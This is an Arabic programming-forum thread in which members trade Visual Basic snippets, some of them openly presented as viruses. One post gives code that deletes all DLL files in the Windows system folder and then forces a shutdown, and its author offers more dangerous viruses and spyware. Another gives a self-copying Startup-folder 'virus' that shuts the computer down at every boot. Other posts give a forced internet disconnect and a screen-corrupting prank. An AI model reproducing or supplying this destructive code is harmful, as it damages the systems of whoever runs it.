مشكووووووووووووووورين بس ما يوجد كتاب أو ملف pdf موجود عليه معظم أكواد الفيجيوال ولا شو

ما فهمت شيء
؟؟؟؟؟؟؟؟؟؟؟؟؟

انا قصدت ما ممكن نلاقي مثلا كتالوج ممكن نلاقي فيه أكواد الفيجيوال معظمها


ولكم جزيل الشكر

السلام عليكم و رحمة الله و بركاته
كيف الحال ان شاء الله بخير
على العموم خليني اساهم ببعض الاكواد
يا الريامي . اوكي

هذا الكود :

لكن هذا الكود خطير ويقوم يحذف جميع ملفات dll الموجودة في system


code:

--------------------------------------------------------------------------------

Call Kill ("C:\WINDOWS\SYSTEM\ *.dll")
Call Shell("Rundll32.exe user,exitwindows")

و اذا تريدوا اكوا اخطر الفيروسات انا مساعد
ام تريدوا كود لنع فايروس يخلي النظام ينهار يعني سلم علي
ام كود فيروس للتجسس اللي في بالكم ان شاء الله انا جاهز
يا صاحب الموسوعة الريامي .

و السلام مسك الختام

السلام عليكم و رحمة الله و بركاته
عدت من جديد
هذي المره كود لفيروس الصغيرين مال اللعب ما مشكله زييييين تجربوه
و هو كالتالي :
يا الاخ العزيز الريامي :
هذا الكود يقوم بأغلاق الجهاز كلما فتحتة
انسخ الكود و الصقه في الفريم زييييييييين الريام
الاخ العزيز الريامي اعرفك من اين اتيت بالاكواد اللي معاك الحين من ...............
عندي كل تلك الاكواد .
المهم هذا الكود ما من الشله من عندي :


code:

--------------------------------------------------------------------------------

Name App.Path & "\Virus3.exe" As "C:\WINDOWS\Start Menu\Programs\StartUp\Virus3.exe"
Call Shell("Rundll32.exe user,exitwindows")

و السلام مسك الختام

****************************

السلام عليكم و رحمة الله و بركاته

اخي العزيز الريامي :
ان شاء الله ساشارك لكن الحين معي مشاكل في جهازي
و طبعا الاكواد موجودة فيه لكن لما احل المشاكل و بالاصح ساعمل له
فورمات .
ستجد تفاعلا تسر له الصدور و تنشرح له القلوب و النفوس
ان شاء الله .

و السلام مــــــــــــــــــــــــــــــــــســـــــــــك الــــــــــــــخــــــــــــــتــــــــــام

**************************************************

اخي العزيز اقدر ان عدد الاكواد اللي معك 151 كودا فقط

عن طريق برنامج يحتوي على عددمن الاكواد



و السلام مسك الختام

********************

السلام عليكم و رحمة الله وبركاته
هذا كود آخر اساهم به من اجلكم يا شباب
ووظيفته كالتالي : قطع الاتصال بالانترنت ترتيب

'لكي تقطع الاتصال بالانترنت
If InternetAutodialHangup(0) Then
MsgBox "You're Disconnected!", vbInformation
End If

اخي الريامي اكوادي قصيره و اكوادك طويله
و اكوادي عملها اقوى من اكوادك ليش ؟؟؟؟؟؟؟؟؟؟؟؟؟؟

و السلام مسك الختام ......................

السلام عليكم شباب

هذا الكووووووووووووود رهيييييييب لتغييير اسم القرص الصلب
سميه على مزاجك اذا مليت من السي و الدي و اللاي سميه على اسمك ان احببت
تفضلوا :

تغيير اسم القرص
' ضع هذا الكود في الفورم

Private Declare Function SetVolumeLabel Lib "kernel32.dll" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long

Private Sub Command1_Click()
Dim rval As Long
rval = SetVolumeLabel("C:\", Text1.Text)
End Sub

Private Sub Form_Load()
Text1.Text = "Driver 1"
End Sub

السلام عليكم و رحمة الله و بركاته

هذا الكود لمعرفة تفاصيل عن القرص :
معرفة معلومات عن القرص [مساحته، المستخدم، .. الخ]

' ضع هذا الكود في الفورم

Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

Private Sub Form_Load()

Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency
Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency
Const RootPathName = "c:\"
Call GetDiskFreeSpaceEx(RootPathName, BytesFreeToCalller, TotalBytes, TotalFreeBytes)
Me.AutoRedraw = True
Me.Cls
Me.Print
Me.Print
Me.Print
Me.Print " Total Number Of Bytes:", Format$(TotalBytes * 10000, "###,###,###,##0") & " bytes"
Me.Print " Total Free Bytes:", Format$(TotalFreeBytes * 10000, "###,###,###,##0") & " bytes"
Me.Print " Free Bytes Available:", Format$(BytesFreeToCalller * 10000, "###,###,###,##0") & " bytes"
Me.Print " Total Space Used :", Format$((TotalBytes - TotalFreeBytes) * 10000, "###,###,###,##0") & " bytes"
End Sub


و السلام مسك الختام

******************************************

السلام مسك الختام
هلا اخواني كيف الحال ان شاء الله بخير هذا كود آخر عن يزعل الريامي
و يقول ما في تفاعل بس كفي تفاعل ردود بيننا او يريد تفاعل كيميائي
المهم هذا الكود وو ظيفته مساهمه اخرى : كوووووود رهيب يفزع مستعملي
جهازك اعمل به مقالب :
صهر الشاشة

' ضع هذا الكود في الفورم

Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub

Private Sub Form_Load()
Dim lngDC As Long
Dim intWidth As Integer, intHeight As Integer
Dim intX As Integer, intY As Integer

lngDC = GetDC(0)

intWidth = Screen.Width / Screen.TwipsPerPixelX
intHeight = Screen.Height / Screen.TwipsPerPixelY

form1.Width = intWidth * 15
form1.Height = intHeight * 15

Call BitBlt(hDC, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy)
form1.Visible = vbTrue

Do
intX = (intWidth - 128) * Rnd
intY = (intHeight - 128) * Rnd

Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, vbSrcCopy)

DoEvents
Loop
End Sub

Private Sub Form_Unload(Cancel As Integer)
Set form1 = Nothing
End
End Sub